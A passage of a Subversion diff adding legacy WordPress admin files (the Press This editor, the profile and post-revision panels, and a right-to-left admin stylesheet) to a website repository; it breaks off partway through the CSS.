+			jQuery('#photo_add_url').attr('href', '?ajax=photo_thickbox_url&height=200&width=500');
+			tb_init('#extra_fields .thickbox');
+
+
+		});
+		<?php break;
+}
+die;
+}
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php do_action('admin_xml_ns'); ?> <?php language_attributes(); ?>>
+<head>
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+	<title><?php _e('Press This') ?></title>
+
+<?php
+	add_thickbox();
+	wp_enqueue_style('press-this');
+	wp_enqueue_style('press-this-ie');
+	wp_enqueue_style( 'colors' );
+	wp_enqueue_script( 'post' );
+	wp_enqueue_script('editor');
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var userSettings = {'url':'<?php echo SITECOOKIEPATH; ?>','uid':'<?php if ( ! isset($current_user) ) $current_user = wp_get_current_user(); echo $current_user->ID; ?>','time':'<?php echo time() ?>'};
+var ajaxurl = '<?php echo admin_url('admin-ajax.php'); ?>';
+//]]>
+</script>
+
+<?php
+	do_action('admin_print_styles');
+	do_action('admin_print_scripts');
+	do_action('admin_head');
+
+	if ( user_can_richedit() ) {
+		add_filter( 'teeny_mce_before_init', create_function( '$a', '$a["height"] = "400"; $a["onpageload"] = ""; $a["mode"] = "textareas"; $a["editor_selector"] = "mceEditor"; return $a;' ) );
+		wp_tiny_mce( true );
+	}
+?>
+	<script type="text/javascript">
+	function insert_plain_editor(text) {
+		edCanvas = document.getElementById('content');
+		edInsertContent(edCanvas, text);
+	}
+	function set_editor(text) {
+		if ( '' == text || '<p></p>' == text ) text = '<p><br /></p>';
+		if ( tinyMCE.activeEditor ) tinyMCE.execCommand('mceSetContent', false, text);
+	}
+	function insert_editor(text) {
+		if ( '' != text && tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden()) {
+			tinyMCE.execCommand('mceInsertContent', false, '<p>' + decodeURI(tinymce.DOM.decode(text)) + '</p>', {format : 'raw'});
+		} else {
+			insert_plain_editor(decodeURI(text));
+		}
+	}
+	function append_editor(text) {
+		if ( '' != text && tinyMCE.activeEditor && ! tinyMCE.activeEditor.isHidden()) {
+			tinyMCE.execCommand('mceSetContent', false, tinyMCE.activeEditor.getContent({format : 'raw'}) + '<p>' + text + '</p>');
+			tinyMCE.execCommand('mceCleanup');
+		} else {
+			insert_plain_editor(text);
+		}
+	}
+
+	function show(tab_name) {
+		jQuery('#extra_fields').html('');
+		jQuery('#extra_fields').show();
+		switch(tab_name) {
+			case 'video' :
+				jQuery('#extra_fields').load('<?php echo esc_url($_SERVER['PHP_SELF']); ?>', { ajax: 'video', s: '<?php echo esc_attr($selection); ?>'}, function() {
+					<?php
+					$content = '';
+					if ( preg_match("/youtube\.com\/watch/i", $url) ) {
+						list($domain, $video_id) = split("v=", $url);
+						$video_id = esc_attr($video_id);
+						$content = '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/' . $video_id . '"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/' . $video_id . '" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>';
+
+					} elseif ( preg_match("/vimeo\.com\/[0-9]+/i", $url) ) {
+						list($domain, $video_id) = split(".com/", $url);
+						$video_id = esc_attr($video_id);
+						$content = '<object width="400" height="225"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=' . $video_id . '&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" />	<embed src="http://www.vimeo.com/moogaloop.swf?clip_id=' . $video_id . '&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="225"></embed></object>';
+
+						if ( trim($selection) == '' )
+							$selection = '<p><a href="http://www.vimeo.com/' . $video_id . '?pg=embed&sec=' . $video_id . '">' . $title . '</a> on <a href="http://vimeo.com?pg=embed&sec=' . $video_id . '">Vimeo</a></p>';
+
+					} elseif ( strpos( $selection, '<object' ) !== false ) {
+						$content = $selection;
+					}
+					?>
+					jQuery('#embed-code').prepend('<?php echo htmlentities($content); ?>');
+				});
+				return false;
+				break;
+			case 'photo' :
+				jQuery('#extra_fields').before('<p id="waiting"><img src="images/wpspin_light.gif" alt="" /> <?php echo esc_js( __( 'Loading...' ) ); ?></p>');
+				jQuery.ajax({
+					type: "GET",
+					cache : false,
+					url: "<?php echo esc_url($_SERVER['PHP_SELF']); ?>",
+					data: "ajax=photo_js&u=<?php echo urlencode($url)?>",
+					dataType : "script",
+					success : function() {
+						jQuery('#waiting').remove();
+					}
+				});
+				return false;
+				break;
+		}
+	}
+	jQuery(document).ready(function() {
+		//resize screen
+		window.resizeTo(720,570);
+		// set button actions
+    	jQuery('#photo_button').click(function() { show('photo'); return false; });
+		jQuery('#video_button').click(function() { show('video'); return false; });
+		// auto select
+		<?php if ( preg_match("/youtube\.com\/watch/i", $url) ) { ?>
+			show('video');
+		<?php } elseif ( preg_match("/vimeo\.com\/[0-9]+/i", $url) ) { ?>
+			show('video');
+		<?php  } elseif ( preg_match("/flickr\.com/i", $url) ) { ?>
+			show('photo');
+		<?php } ?>
+		jQuery('#title').unbind();
+		jQuery('#publish, #save').click(function() { jQuery('#saving').css('display', 'inline'); });
+	});
+</script>
+</head>
+<body class="press-this">
+<div id="wphead"></div>
+<form action="press-this.php?action=post" method="post">
+<div id="poststuff" class="metabox-holder">
+	<div id="side-info-column">
+		<div class="sleeve">
+			<h1 id="viewsite"><a class="button" href="<?php echo get_option('home'); ?>/" target="_blank"><?php bloginfo('name'); ?> &rsaquo; <?php _e('Press This') ?></a></span></h1>
+
+			<?php wp_nonce_field('press-this') ?>
+			<input type="hidden" name="post_type" id="post_type" value="text"/>
+			<input type="hidden" name="autosave" id="autosave" />
+			<input type="hidden" id="original_post_status" name="original_post_status" value="draft" />
+			<input type="hidden" id="prev_status" name="prev_status" value="draft" />
+
+			<!-- This div holds the photo metadata -->
+			<div class="photolist"></div>
+
+			<div id="submitdiv" class="stuffbox">
+				<h3><?php _e('Publish') ?></h3>
+				<div class="inside">
+					<p>
+						<input class="button" type="submit" name="draft" value="<?php esc_attr_e('Save Draft') ?>" id="save" />
+						<?php if ( current_user_can('publish_posts') ) { ?>
+							<input class="button-primary" type="submit" name="publish" value="<?php esc_attr_e('Publish') ?>" id="publish" />
+						<?php } else { ?>
+							<br /><br /><input class="button-primary" type="submit" name="review" value="<?php esc_attr_e('Submit for Review') ?>" id="review" />
+						<?php } ?>
+						<img src="images/wpspin_light.gif" alt="" id="saving" style="display:none;" />
+					</p>
+				</div>
+			</div>
+
+			<div id="categorydiv" class="stuffbox">
+				<h3><?php _e('Categories') ?></h3>
+				<div class="inside">
+
+					<div id="categories-all" class="tabs-panel">
+						<ul id="categorychecklist" class="list:category categorychecklist form-no-clear">
+							<?php wp_category_checklist($post_ID, false) ?>
+						</ul>
+					</div>
+
+					<div id="category-adder" class="wp-hidden-children">
+						<a id="category-add-toggle" href="#category-add" class="hide-if-no-js" tabindex="3"><?php _e( '+ Add New Category' ); ?></a>
+						<p id="category-add" class="wp-hidden-child">
+							<label class="screen-reader-text" for="newcat"><?php _e( 'Add New Category' ); ?></label><input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" tabindex="3" aria-required="true"/>
+							<label class="screen-reader-text" for="newcat_parent"><?php _e('Parent category'); ?>:</label><?php wp_dropdown_categories( array( 'hide_empty' => 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category'), 'tab_index' => 3 ) ); ?>
+							<input type="button" id="category-add-sumbit" class="add:categorychecklist:category-add button" value="<?php esc_attr_e( 'Add' ); ?>" tabindex="3" />
+							<?php wp_nonce_field( 'add-category', '_ajax_nonce', false ); ?>
+							<span id="category-ajax-response"></span>
+						</p>
+					</div>
+				</div>
+			</div>
+
+			<div id="tagsdiv-post_tag" class="stuffbox" >
+				<h3><span><?php _e('Post Tags'); ?></span></h3>
+				<div class="inside">
+					<div class="tagsdiv" id="post_tag">
+						<p class="jaxtag">
+							<label class="screen-reader-text" for="newtag"><?php _e('Post Tags'); ?></label>
+							<input type="hidden" name="tax_input[post_tag]" class="the-tags" id="tax-input[post_tag]" value="" />
+							<span class="ajaxtag" style="display:none;">
+								<input type="text" name="newtag[post_tag]" class="newtag form-input-tip" size="16" autocomplete="off" value="<?php esc_attr_e('Add new tag'); ?>" />
+								<input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" tabindex="3" />
+							</span>
+						</p>
+						<div class="tagchecklist"></div>
+					</div>
+					<p class="tagcloud-link"><a href="#titlediv" class="tagcloud-link" id="link-post_tag"><?php _e('Choose from the most used tags in Post Tags'); ?></a></p>
+				</div>
+			</div>
+		</div>
+	</div>
+
+	<div class="posting">
+		<?php if ( isset($posted) && intval($posted) ) { $post_ID = intval($posted); ?>
+		<div id="message" class="updated fade"><p><strong><?php _e('Your post has been saved.'); ?></strong> <a onclick="window.opener.location.replace(this.href); window.close();" href="<?php echo get_permalink( $post_ID); ?>"><?php _e('View post'); ?></a> | <a href="<?php echo get_edit_post_link( $post_ID ); ?>" onclick="window.opener.location.replace(this.href); window.close();"><?php _e('Edit post'); ?></a> | <a href="#" onclick="window.close();"><?php _e('Close Window'); ?></a></p></div>
+		<?php } ?>
+
+		<div id="titlediv">
+			<div class="titlewrap">
+				<input name="title" id="title" class="text" value="<?php echo esc_attr($title);?>"/>
+			</div>
+		</div>
+
+		<div id="extra_fields" style="display: none"></div>
+
+		<div class="postdivrich">
+			<ul id="actions">
+
+				<li id="photo_button">
+					Add: <?php if ( current_user_can('upload_files') ) { ?><a title="<?php _e('Insert an Image'); ?>" href="#">
+<img alt="<?php _e('Insert an Image'); ?>" src="images/media-button-image.gif"/></a>
+					<?php } ?>
+				</li>
+				<li id="video_button">
+					<a title="<?php _e('Embed a Video'); ?>" href="#"><img alt="<?php _e('Embed a Video'); ?>" src="images/media-button-video.gif"/></a>
+				</li>
+				<?php if( user_can_richedit() ) { ?>
+				<li id="switcher">
+					<?php wp_print_scripts( 'quicktags' ); ?>
+					<?php add_filter('the_editor_content', 'wp_richedit_pre'); ?>
+					<a id="edButtonHTML" onclick="switchEditors.go('content', 'html');"><?php _e('HTML'); ?></a>
+					<a id="edButtonPreview" class="active" onclick="switchEditors.go('content', 'tinymce');"><?php _e('Visual'); ?></a>
+					<div class="zerosize"><input accesskey="e" type="button" onclick="switchEditors.go('content')" /></div>
+				</li>
+				<?php } ?>
+			</ul>
+			<div id="quicktags"></div>
+			<div class="editor-container">
+				<textarea name="content" id="content" style="width:100%;" class="mceEditor" rows="15">
+					<?php if ($selection) echo wp_richedit_pre(htmlspecialchars_decode($selection)); ?>
+					<?php if ($url) { echo '<p>'; if($selection) _e('via '); echo "<a href='$url'>$title</a>."; echo '</p>'; } ?>
+				</textarea>
+			</div>
+		</div>
+	</div>
+</div>
+</form>
+<?php do_action('admin_print_footer_scripts'); ?>
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-admin/profile.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/profile.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/profile.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * User Profile Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * This is a profile page.
+ *
+ * @since unknown
+ * @var bool
+ */
+define('IS_PROFILE_PAGE', true);
+
+/** Load User Editing Page */
+require_once('user-edit.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/revision.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/revision.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/revision.php	(revision 44)
@@ -0,0 +1,220 @@
+<?php
+/**
+ * Revisions administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once('admin.php');
+
+wp_reset_vars(array('revision', 'left', 'right', 'diff', 'action'));
+$revision_id = absint($revision);
+$diff        = absint($diff);
+$left        = absint($left);
+$right       = absint($right);
+
+$parent_file = $redirect = 'edit.php';
+
+switch ( $action ) :
+case 'delete' : // stubs
+case 'edit' :
+	if ( constant('WP_POST_REVISIONS') ) // stub
+		$redirect = remove_query_arg( 'action' );
+	else // Revisions disabled
+		$redirect = 'edit.php';
+	break;
+case 'restore' :
+	if ( !$revision = wp_get_post_revision( $revision_id ) )
+		break;
+	if ( !current_user_can( 'edit_post', $revision->post_parent ) )
+		break;
+	if ( !$post = get_post( $revision->post_parent ) )
+		break;
+
+	if ( !constant('WP_POST_REVISIONS') && !wp_is_post_autosave( $revision ) ) // Revisions disabled and we're not looking at an autosave
+		break;
+
+	check_admin_referer( "restore-post_$post->ID|$revision->ID" );
+
+	wp_restore_post_revision( $revision->ID );
+	$redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID ), get_edit_post_link( $post->ID, 'url' ) );
+	break;
+case 'diff' :
+	if ( !$left_revision  = get_post( $left ) )
+		break;
+	if ( !$right_revision = get_post( $right ) )
+		break;
+
+	if ( !current_user_can( 'read_post', $left_revision->ID ) || !current_user_can( 'read_post', $right_revision->ID ) )
+		break;
+
+	// If we're comparing a revision to itself, redirect to the 'view' page for that revision or the edit page for that post
+	if ( $left_revision->ID == $right_revision->ID ) {
+		$redirect = get_edit_post_link( $left_revision->ID );
+		include( 'js/revisions-js.php' );
+		break;
+	}
+
+	// Don't allow reverse diffs?
+	if ( strtotime($right_revision->post_modified_gmt) < strtotime($left_revision->post_modified_gmt) ) {
+		$redirect = add_query_arg( array( 'left' => $right, 'right' => $left ) );
+		break;
+	}
+
+	if ( $left_revision->ID == $right_revision->post_parent ) // right is a revision of left
+		$post =& $left_revision;
+	elseif ( $left_revision->post_parent == $right_revision->ID ) // left is a revision of right
+		$post =& $right_revision;
+	elseif ( $left_revision->post_parent == $right_revision->post_parent ) // both are revisions of common parent
+		$post = get_post( $left_revision->post_parent );
+	else
+		break; // Don't diff two unrelated revisions
+
+	if ( !constant('WP_POST_REVISIONS') ) { // Revisions disabled
+		if (
+			// we're not looking at an autosave
+			( !wp_is_post_autosave( $left_revision ) && !wp_is_post_autosave( $right_revision ) )
+		||
+			// we're not comparing an autosave to the current post
+			( $post->ID !== $left_revision->ID && $post->ID !== $right_revision->ID )
+		)
+			break;
+	}
+
+	if (
+		// They're the same
+		$left_revision->ID == $right_revision->ID
+	||
+		// Neither is a revision
+		( !wp_get_post_revision( $left_revision->ID ) && !wp_get_post_revision( $right_revision->ID ) )
+	)
+		break;
+
+	$post_title = '<a href="' . get_edit_post_link() . '">' . get_the_title() . '</a>';
+	$h2 = sprintf( __( 'Compare Revisions of &#8220;%1$s&#8221;' ), $post_title );
+
+	$left  = $left_revision->ID;
+	$right = $right_revision->ID;
+
+	$redirect = false;
+	break;
+case 'view' :
+default :
+	if ( !$revision = wp_get_post_revision( $revision_id ) )
+		break;
+	if ( !$post = get_post( $revision->post_parent ) )
+		break;
+
+	if ( !current_user_can( 'read_post', $revision->ID ) || !current_user_can( 'read_post', $post->ID ) )
+		break;
+
+	if ( !constant('WP_POST_REVISIONS') && !wp_is_post_autosave( $revision ) ) // Revisions disabled and we're not looking at an autosave
+		break;
+
+	$post_title = '<a href="' . get_edit_post_link() . '">' . get_the_title() . '</a>';
+	$revision_title = wp_post_revision_title( $revision, false );
+	$h2 = sprintf( __( 'Post Revision for &#8220;%1$s&#8221; created on %2$s' ), $post_title, $revision_title );
+
+	// Sets up the diff radio buttons
+	$left  = $revision->ID;
+	$right = $post->ID;
+
+	$redirect = false;
+	break;
+endswitch;
+
+if ( !$redirect && !in_array( $post->post_type, array( 'post', 'page' ) ) )
+	$redirect = 'edit.php';
+
+if ( $redirect ) {
+	wp_redirect( $redirect );
+	exit;
+}
+
+if ( 'page' == $post->post_type ) {
+	$submenu_file = 'edit-pages.php';
+	$title = __( 'Page Revisions' );
+} else {
+	$submenu_file = 'edit.php';
+	$title = __( 'Post Revisions' );
+}
+
+require_once( 'admin-header.php' );
+
+?>
+
+<div class="wrap">
+
+<h2 class="long-header"><?php echo $h2; ?></h2>
+
+<table class="form-table ie-fixed">
+	<col class="th" />
+<?php if ( 'diff' == $action ) : ?>
+<tr id="revision">
+	<th scope="row"></th>
+	<th scope="col" class="th-full">
+		<span class="alignleft"><?php printf( __('Older: %s'), wp_post_revision_title( $left_revision ) ); ?></span>
+		<span class="alignright"><?php printf( __('Newer: %s'), wp_post_revision_title( $right_revision ) ); ?></span>
+	</th>
+</tr>
+<?php endif;
+
+// use get_post_to_edit filters?
+$identical = true;
+foreach ( _wp_post_revision_fields() as $field => $field_title ) :
+	if ( 'diff' == $action ) {
+		$left_content = apply_filters( "_wp_post_revision_field_$field", $left_revision->$field, $field );
+		$right_content = apply_filters( "_wp_post_revision_field_$field", $right_revision->$field, $field );
+		if ( !$content = wp_text_diff( $left_content, $right_content ) )
+			continue; // There is no difference between left and right
+		$identical = false;
+	} else {
+		add_filter( "_wp_post_revision_field_$field", 'htmlspecialchars' );
+		$content = apply_filters( "_wp_post_revision_field_$field", $revision->$field, $field );
+	}
+	?>
+
+	<tr id="revision-field-<?php echo $field; ?>">
+		<th scope="row"><?php echo esc_html( $field_title ); ?></th>
+		<td><div class="pre"><?php echo $content; ?></div></td>
+	</tr>
+
+	<?php
+
+endforeach;
+
+if ( 'diff' == $action && $identical ) :
+
+	?>
+
+	<tr><td colspan="2"><div class="updated"><p><?php _e( 'These revisions are identical.' ); ?></p></div></td></tr>
+
+	<?php
+
+endif;
+
+?>
+
+</table>
+
+<br class="clear" />
+
+<h2><?php echo $title; ?></h2>
+
+<?php
+
+$args = array( 'format' => 'form-table', 'parent' => true, 'right' => $right, 'left' => $left );
+if ( !constant( 'WP_POST_REVISIONS' ) )
+	$args['type'] = 'autosave';
+
+wp_list_post_revisions( $post, $args );
+
+?>
+
+</div>
+
+<?php
+
+require_once( 'admin-footer.php' );
Index: /trunk/www.guidonia.net/wp/wp-admin/rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/rtl.css	(revision 44)
@@ -0,0 +1,555 @@
+/* 0 - 200
+=================================== */
+td.available-theme {
+	text-align: right;
+}
+#current-theme img {
+	float: right;
+	margin-right: 0;
+	margin-left: 1em;
+}
+.quicktags, .search {
+	font-family: Tahoma, "Times New Roman";
+}
+/* 200 - 500
+=================================== */
+#save-post {
+	float: right;
+}
+.preview {
+	float: left;
+}
+#sticky-span {
+	margin-left: 0;
+	margin-right: 18px;
+}
+#post-body .misc-pub-section {
+	border-right-width: 0;
+	border-left-width: 1;
+	border-right-style: none;
+	border-left-style: solid;
+	float: right;
+}
+#post-body .misc-pub-section-last {
+	border-left: 0;
+}
+#delete-action {
+	text-align: right;
+	float: right;
+}
+#publishing-action {
+	text-align: left;
+	float: left;
+}
+.side-info ul {
+	padding-left: 0;
+	padding-right: 18px;
+}
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	font-family: Tahoma, "Times New Roman";
+}
+#wpcontent select {
+	font-family: Tahoma, "Times New Roman";
+}
+#quicktags {
+	background-position: right top;
+}
+/* 500 - 700
+=================================== */
+#template div {
+	margin-right: 0;
+	margin-left: 190px;
+}
+* html #template div {
+	margin-left: 0;
+}
+#your-profile legend {
+	font-family: "Times New Roman", Tahoma;
+}
+#ajax-response.alignleft {
+	margin-left: 0;
+	margin-right: 2em;
+}
+.page-numbers {
+	margin-right: 0;
+	margin-left: 1px;
+}
+.column-author img, .column-username img {
+	float: right;
+	margin-right: 0;
+	margin-left: 10px;
+}
+.tablenav a.button-secondary {
+	margin: 8px 0 0 8px;
+}
+.tablenav .tablenav-pages {
+	float: left;
+}
+.tablenav .displaying-num {
+	margin-right: 0;
+	margin-left: 10px;
+	font-family: Tahoma, "Times New Roman";
+}
+#postcustomstuff table input,
+#postcustomstuff table select,
+#postcustomstuff table textarea {
+	margin: 8px 8px 8px 0;
+}
+/* 700 - 1000
+=================================== */
+#pass-strength-result {
+	float: right;
+	margin: 12px 1px 5px 5px;
+}
+/* Admin Header */
+#user_info {
+	float: left;
+}
+#header-logo {
+	float: right;
+	margin: 7px 15px 0 0;
+}
+#wphead h1 {
+	font-family: "Times New Roman", Tahoma;
+	float: right;
+}
+#wphead h1.long-title {
+	font-family: "Times New Roman", Tahoma;
+}
+#adminmenu .wp-submenu a {
+	padding-left: 0;
+	padding-right: 12px;
+	border-width: 0 0 0 1px;
+	border-style: none none none solid;
+	font-family: Tahoma, "Times New Roman";
+}
+#adminmenu a.menu-top,
+#adminmenu .wp-submenu-head {
+	font-family: Tahoma, "Times New Roman";
+}
+#adminmenu img.wp-menu-image {
+	float: right;
+}
+.folded #adminmenu img.wp-menu-image {
+	padding: 7px 6px 0 0;
+}
+#adminmenu a.separator {
+	cursor: e-resize;
+}
+.folded #adminmenu a.separator {
+ 	cursor: w-resize;
+}
+#adminmenu .wp-submenu .wp-submenu-head {
+	padding: 6px 10px 6px 4px;
+}
+.folded #adminmenu .wp-submenu {
+	margin: -1px 28px 0 0;
+}
+.folded #adminmenu .wp-submenu a {
+	padding-left: 0;
+	padding-right: 10px;
+}
+.folded #adminmenu a.wp-has-submenu {
+	margin-left: 0;
+	margin-right: 40px;
+}
+#adminmenu .wp-menu-toggle {
+	float: left;
+	padding: 1px 0 0 2px;
+	clear: left;
+}
+#adminmenu div.wp-menu-image {
+	float: right;
+}
+#wphead-info {
+	margin: 0 15px 0 0;
+	padding-right:0;
+	padding-left: 15px;
+}
+/* end side admin menu */
+/* 1000 - 1300
+=================================== */
+#adminmenu #awaiting-mod,
+#adminmenu span.update-plugins,
+#sidemenu li a span.update-plugins {
+	font-family: tahoma;
+	margin-left: 0;
+	margin-right: 2px;
+}
+#adminmenu li #awaiting-mod span,
+#adminmenu li span.update-plugins span,
+#sidemenu li a span.update-plugins span {
+	float: right;
+}
+.post-com-count-wrapper {
+	font-family: tahoma;
+}
+.column-response .post-com-count {
+	float: right;
+	margin-right: 0;
+	margin-left: 5px;
+}
+/* Tables used on comment.php and option/setting pages */
+.form-table th,
+#wpbody-content .describe th {
+	text-align: right;
+}
+.form-table input.tog {
+	margin-right: 0;
+	margin-left: 2px;
+	float: right;
+}
+.form-table table.color-palette {
+	float: right;
+}
+#profile-page .form-table #rich_editing {
+	margin-right: 0;
+	margin-left: 5px;
+}
+/* Post Screen */
+/* 1300 - 1500
+=================================== */
+#normal-sortables .postbox .submit {
+	float: left;
+}
+#post-body .tagsdiv #newtag {
+	margin-right: 0;
+	margin-left: 5px;
+}
+#post-status-info {
+	padding: 0 7px 0 15px;
+}
+#comment-status-radio input {
+	margin: 2px 0 5px 3px;
+}
+.tagchecklist {
+	margin-left: 0;
+	margin-right: 10px;
+}
+.tagchecklist strong {
+	margin-left: 0;
+	margin-right: -8px;
+}
+.tagchecklist span {
+	float: right;
+}
+.tagchecklist span a {
+	margin: 6px -9px 0 0;
+	float: right;
+}
+.ac_results li {
+	text-align: right;
+}
+#poststuff h2 {
+	clear: right;
+}
+.description, .form-wrap p {
+	font-family: Tahoma, Arial;
+}
+/* 1500 - 1800
+=================================== */
+.meta-box-sortables .postbox .handlediv {
+	float: left;
+}
+.howto {
+	font-family: Tahoma, Arial;
+}
+.postarea h3 label {
+	float: right;
+}
+.postarea #add-media-button {
+	float: left;
+	right: auto;
+	left: 10px;
+}
+.wp_themeSkin tr.mceFirst td.mceToolbar {
+	background-position: right top;
+}
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML {
+	margin: 5px 0 0 5px;
+	float: left;
+}
+#poststuff #edButtonHTML {
+	margin-right: 0;
+	margin-left: 15px;
+}
+#media-buttons a {
+	padding: 0 10px 5px 0;
+}
+.submitbox .submit {
+	text-align: right;
+}
+
+.inside-submitbox #post_status {
+	margin: 2px -2px 2px 0;
+}
+.submitbox .submit input {
+	margin-right: 0;
+	margin-left: 4px;
+}
+/* Categories */
+#category-adder {
+	margin-left: 0;
+	margin-right: 120px;
+}
+#post-body ul#category-tabs li.tabs {
+	-moz-border-radius: 0 3px 3px 0;
+	-webkit-border-top-left-radius: 0;
+	-webkit-border-top-right-radius: 3px;
+	-webkit-border-bottom-left-radius: 0;
+	-webkit-border-bottom-right-radius: 3px;
+	border-top-left-radius: 0;
+	border-top-right-radius: 3px;
+	border-bottom-left-radius: 0;
+	border-bottom-right-radius: 3px;
+}
+#post-body ul#category-tabs {
+	float: right;
+	text-align: left;
+	margin: 0 0 0 -120px;
+}
+#post-body #categorydiv div.tabs-panel,
+#post-body #linkcategorydiv div.tabs-panel {
+	margin: 0 120px 0 5px;
+}
+/* 1800 - 2000
+=================================== */
+#side-sortables #category-tabs li {
+	padding-right: 0;
+	padding-left: 8px;
+}
+#categorydiv ul.categorychecklist ul,
+#linkcategorydiv ul.categorychecklist ul {
+	margin-left: 0;
+	margin-right: 18px;
+}
+/* positioning etc. */
+p.search-box {
+	float: left;
+}
+#posts-filter fieldset {
+	float: right;
+	margin: 0 0 1em 1.5ex;
+}
+#posts-filter fieldset legend {
+	padding: 0 1px .2em 0;
+}
+.view-switch {
+	float: left;
+}
+.filter {
+	float: right;
+	margin: -5px 10px 0 0;
+}
+#the-comment-list td.comment p.comment-author {
+	margin-right: 0;
+}
+#the-comment-list p.comment-author img {
+	float: right;
+	margin-right: 0;
+	margin-left: 8px;
+}
+.tablenav .delete {
+	margin-right: 0;
+	margin-left: 20px;
+}
+td.action-links, th.action-links {
+	text-align: left;
+}
+/* 2000 - 2300
+=================================== */
+.filter .subsubsub {
+	margin-left: 0;
+	margin-right: -10px;
+}
+#wp-word-count {
+	margin-right: 10px;
+}
+.tool-box .title {
+	font-family: "Times New Roman", Tahoma;
+}
+.settings-toggle {
+	text-align: left;
+	margin: 5px 0 15px 7px;
+}
+.curtime #timestamp {
+	background-position: right top;
+	padding-left: 0;
+	padding-right: 18px;
+}
+/* media popup 0819 */
+#sidemenu {
+	margin: -30px 315px 0 15px;
+	float: left;
+	padding-left: 0;
+	padding-right: 10px;
+}
+#sidemenu a {
+	float: right;
+}
+#replysubmit .button {
+	margin-right: 0;
+	margin-left: 5px;
+}
+/* 2300 - 2500
+=================================== */
+#edithead .inside {
+	float: right;
+	margin: 3px 5px 2px 0;
+}
+#replyrow #ed_reply_toolbar input {
+	margin: 1px 1px 1px 2px;
+}
+/* show/hide settings */
+#screen-meta-links {
+	margin: 0 0 0 9px;
+}
+#screen-options-link-wrap,
+#contextual-help-link-wrap {
+	float: left;
+	font-family: Tahoma, "Times New Roman";
+	margin: 0 0 0 6px;
+}
+.metabox-prefs label {
+	padding-right: 0;
+	padding-left: 15px;
+}
+.metabox-prefs label input {
+	margin: 0 2px 0 5px;
+}
+.inline-editor .save,
+.inline-editor .cancel {
+	margin-right: 0;
+	margin-left: 5px;
+}
+/* 2500 - 2700
+=================================== */
+#bulk-titles div a {
+	float: right;
+	margin: 3px -2px 0 3px;
+}
+#wpbody-content .filename {
+	margin-left: 0;
+	margin-right: 10px;
+}
+#wpbody-content .inline-edit-row fieldset {
+	float: right;
+}
+#wpbody-content .quick-edit-row-page fieldset.inline-edit-col-right .inline-edit-col {
+	border-left: 0 none;
+	border-right: 1px solid;
+}
+#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+	float: left;
+}
+.inline-edit-row fieldset label span.title {
+	float: right;
+}
+.inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 0;
+	margin-right: 5em;
+}
+.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
+	padding-right: 0;
+	padding-left: 0.5em;
+}
+#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
+	margin-right: 0;
+	margin-left: 0.5em;
+}
+/* 2700 - 3000
+=================================== */
+.inline-edit-row fieldset span.title,
+.inline-edit-row fieldset span.checkbox-title {
+	font-family: Tahoma, "Times New Roman";
+}
+.inline-edit-row fieldset .inline-edit-date {
+	float: right;
+}
+.inline-edit-row fieldset ul.cat-checklist label,
+.inline-edit-row .catshow,
+.inline-edit-row .cathide,
+.inline-edit-row #bulk-titles div {
+	font-family: Tahoma, "Times New Roman";
+}
+.quick-edit-row-post fieldset label.inline-edit-status {
+	float: right;
+}
+.describe-toggle-on, .describe-toggle-off {
+	float: left;
+	margin-right: 0;
+	margin-left: 20px;
+}
+#wpbody-content #media-items .filename {
+	float: right;
+	margin-left: 0;
+	margin-right: 10px;
+}
+.media-item .pinkynail {
+	float: right;
+}
+#find-posts-response .found-radio {
+	padding: 8px 8px 0 0;
+}
+.find-box-buttons {
+	left: auto;
+	right: 12px;
+}
+.find-box-search label {
+	padding-right: 0;
+	padding-left: 6px;
+}
+/* favorite-actions */
+#favorite-actions {
+	float: left;
+}
+#favorite-first {
+	padding: 3px 12px 4px 30px;
+}
+#favorite-inside {
+}
+#favorite-inside a {
+	padding: 3px 10px 3px 5px;
+}
+#favorite-toggle {
+	right: auto;
+	left: 0;
